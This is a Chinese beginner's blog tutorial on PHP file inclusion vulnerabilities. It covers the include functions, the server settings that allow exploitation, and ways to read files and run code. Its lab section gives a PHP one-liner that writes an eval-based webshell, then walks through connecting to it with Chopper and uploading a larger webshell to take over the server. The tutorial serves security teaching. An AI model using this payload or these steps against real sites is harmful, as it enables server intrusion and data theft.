从0到1学习网络安全 【Web安全入门篇-文件包含漏洞】

概述

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。

程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。


一、原理分析

大多数Web 语言都可以使用文件包含操作,其中PHP 语言所提供的文件包含功能太强大、太灵活,所以文包含漏洞经常出现在PHP 语言中。

简单的说,文件包含就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。


二、PHP文件包含函数

PHP中提供了四个文件包含的函数,分别为:

  • include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

  • include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  • require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

  • require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。


三、利用条件

  1. 参数配置allow_url_fopen=On(开启本地包含),allow_url_include=On (开启远程包含)


    image.png
  2. 用户可以控制文件包含的输入


四、文件包含漏洞利用

  1. 读取敏感文件

    • 利用条件
      1. 目标主机文件存在
      2. 具有文件可读权限
      3. 任意文件读取
    • 示例


      image.png
  2. 读取本地文件

    • 示例


      image.png
  3. 传输PHP文件(使用base64获取源码)

    • 示例


      image.png
  4. 执行PHP命令(php://input

    • 示例


      image.png

五、实验

实验目的:
利用文件包含漏洞,写入木马并执行上传Web Shell

实验步骤:
Step1:利用文件包含漏洞执行PHP命令

语法:

<?php fputs(fopen("2.php","w"),"<?php @eval(\$_POST['hacker'])?>");  ?>
//打开1.php文件并写入一句话木马
  • 如图:


    image.png

Step2:访问刚创建的文件

  • 如图:


    image.png

Step3:用菜刀连接

  • 如图:


    image.png

Step4:右击->上传文件(上传大马)

  • 如图:


    image.png

Step5:访问大马

  • 如图:


    image.png

Step6:输入密码进入操作页,拿到Web Shell


image.png


注:《白帽子讲Web安全》中有一句话:互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了。
所以,小编希望大家都是白帽子,而不是一群只会搞恶作剧的骇客。

小编也在学习,写的不好见谅。
从0到1学习网络安全 【目录】


未完待续...

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容